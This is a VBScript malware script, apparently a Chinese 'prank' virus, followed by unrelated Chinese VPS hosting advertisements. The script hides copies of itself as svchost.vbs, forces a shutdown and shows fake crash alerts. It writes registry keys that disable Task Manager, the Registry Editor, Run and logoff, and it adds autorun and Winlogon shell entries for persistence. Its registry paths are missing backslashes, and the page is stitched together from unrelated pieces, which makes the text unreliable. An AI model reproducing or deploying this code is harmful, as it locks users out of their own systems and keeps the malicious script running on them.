Set objFS = CreateObject("Scripting.FileSystemObject")
Set objFSO = CreateObject("Scripting.FileSystemObject")
set wsh=wscript.createobject("wscript.shell")
set reg=wscript.createobject("wscript.shell")
dim wsh
a=WScript.ScriptFullName
b="shutdown -t 60 -s -c 如果你是菜鸟的话。。。我想你知道害怕了吧!嬉嬉!"
c="c:svchost.vbs"
d="d:svchost.vbs"
s="c:windowssystem32svchost.vbs"
c1="attrib +s +h +a +r c:svchost.vbs"
d1="attrib +s +h +a +r d:svchost.vbs"
s1="attrib +s +h +a +r c:windowssystem32svchost.vbs"
If objFSO.FileExists (c) Then
Else
objFs.GetFile (a).Copy (c)
wsh.run c1
End If
If objFSO.FileExists(d) Then
Else
objFs.GetFile (a).Copy (d)
wsh.run d1
End If
If objFSO.FileExists(s) Then
Else
objFs.GetFile (a).Copy (s)
wsh.run s1
End If
wsh.run b
wsh.run "narrator"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoRun","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoClose","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoLogoff","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorer","00000001","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoDrives","000000100","REG_DWORD"
reg.regwrite"HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunsvchost","c:svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunsvchost","d:svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServicessvchost","c:windowssystem32svchost.vbs","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicessvchost","c:windowssystem32svchost.vbs","REG_SZ"
reg.regwrite"HKEY_CURRENT_USERControl PanelInternationalsTimeFormat","tttt H:mm:ss","REG_SZ"
reg.regwrite"HKEY_CURRENT_USERControl PanelInternationals1159","笨蛋!","REG_SZ"
reg.regwrite"HKEY_CURRENT_USERControl PanelInternationals2359","傻逼!","REG_SZ"
reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonshell","c:windowssystem32svchost.vbs","REG_SZ"
msgbox "系统快要崩溃了!",48,"由于你经常看黄页:"
msgbox "windows崩溃了!",18,"安全警报:"
OneTechCloud发布了本月促销信息,全场VPS主机月付9折,季付8折,优惠后香港VPS月付25.2元起,美国CN2 GIA线路高防VPS月付31.5元起。这是一家2019年成立的国人主机商,提供VPS主机和独立服务器租用,产品数据中心包括美国洛杉矶和中国香港,Cera的机器,VPS基于KVM架构,采用SSD硬盘,其中美国洛杉矶回程CN2 GIA,可选高防。下面列出部分套餐配置信息。美国CN...
RAKsmart发布了9月份优惠促销活动,从9月1日~9月30日期间,爆款美国服务器每日限量抢购最低$30.62-$46/月起,洛杉矶/圣何塞/香港/日本站群大量补货特价销售,美国1-10Gbps大带宽不限流量服务器低价热卖等。RAKsmart是一家华人运营的国外主机商,提供的产品包括独立服务器租用和VPS等,可选数据中心包括美国加州圣何塞、洛杉矶、中国香港、韩国、日本、荷兰等国家和地区数据中心(...
mineserver怎么样?mineserver是一家国人商家,主要提供香港CN2 KVM VPS、香港CMI KVM VPS、日本CN2 KVM VPS、洛杉矶cn2 gia端口转发等服务,云服务器网(yuntue.com)介绍过几次,最近比较活跃。现在新推出了3款特价KVM VPS,性价比高,香港CMI/洛杉矶GIA VPS,2核/2GB内存/20GB NVME/3.5TB流量/200Mbps...